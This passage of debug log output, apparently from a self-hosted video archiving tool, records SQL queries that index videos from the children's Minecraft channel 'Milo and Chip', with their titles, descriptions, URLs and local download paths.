Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "89220798-dc94-4a88-9fe1-a7ce0f4cd2cb", "SQAKG_LKgQU", false, "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, [], 1840, false, 8, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, false, 98, ~U[2026-05-18 23:00:32Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "SQAKG_LKgQU", "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, 1840, false, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, ~U[2026-05-18 23:00:32Z]] 19:42:17.266 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.267 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 22:00:51Z], 30] 19:42:17.268 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "7b36aaf0-7b13-42c8-9562-e1d6ad6675f7", "w4DxHZFJ7No", false, "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, [], 2198, false, 9, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, false, 98, ~U[2026-05-16 22:00:51Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "w4DxHZFJ7No", "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, 2198, false, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, ~U[2026-05-16 22:00:51Z]] 19:42:17.269 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.270 [debug] QUERY OK source="media_items" db=0.9ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 23:00:20Z], 30] 19:42:17.271 [debug] QUERY OK source="media_items" db=0.7ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "868e8289-d11f-453d-9f2c-67140234738b", "Kcn_4kdmM_0", false, "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, [], 1856, false, 10, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, false, 98, ~U[2026-05-15 23:00:20Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "Kcn_4kdmM_0", "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, 1856, false, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, ~U[2026-05-15 23:00:20Z]] 19:42:17.272 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.273 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 23:00:20Z], 30] 19:42:17.274 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "1532d771-ba0f-4cd9-9893-7fd15584d4ab", "Oi7QKYHRi7U", false, "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, [], 1573, false, 11, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, false, 98, ~U[2026-05-13 23:00:20Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "Oi7QKYHRi7U", "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, 1573, false, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, ~U[2026-05-13 23:00:20Z]] 19:42:17.274 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.275 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-11 23:00:46Z], 30] 19:42:17.276 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "f6641367-639b-4d0c-8140-b02d7539e9b6", "i3Vc0zkPdTg", false, "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, [], 1989, false, 12, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, false, 98, ~U[2026-05-11 23:00:46Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "i3Vc0zkPdTg", "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, 1989, false, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, ~U[2026-05-11 23:00:46Z]] 19:42:17.277 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.278 [debug] QUERY OK source="media_items" db=0.8ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 23:00:57Z], 30] 19:42:17.278 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "9b8a9884-c5eb-4059-951d-b4e8c94599da", "loEX2S2LGQI", false, "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, [], 1695, false, 13, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, false, 98, ~U[2026-05-09 23:00:57Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "loEX2S2LGQI", "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, 1695, false, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, ~U[2026-05-09 23:00:57Z]] 19:42:17.279 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.280 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-08 23:00:02Z], 30] 19:42:17.281 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "0d8e0a60-d5e0-4d5f-9ce2-e5179a794e9b", "2K_f7PL9mbs", false, "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, [], 1543, false, 14, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, false, 98, ~U[2026-05-08 23:00:02Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "2K_f7PL9mbs", "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, 1543, false, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, ~U[2026-05-08 23:00:02Z]] 19:42:17.281 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.282 [debug] QUERY OK source="media_items" db=0.8ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-06 23:00:29Z], 30] 19:42:17.285 [debug] QUERY OK source="media_items" db=1.8ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "c1172c7d-40a5-410f-9c32-cf6f36c0b7a3", "USKZb_Xfhfk", false, "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, [], 1124, false, 15, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, false, 98, ~U[2026-05-06 23:00:29Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "USKZb_Xfhfk", "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, 1124, false, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, ~U[2026-05-06 23:00:29Z]] 19:42:17.285 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.286 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-04 23:00:09Z], 30] 19:42:17.287 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "a93bb2bd-6f10-4456-86fa-019ccb74547b", "8ybvWyXgHek", false, "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, [], 1287, false, 16, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, false, 98, ~U[2026-05-04 23:00:09Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock 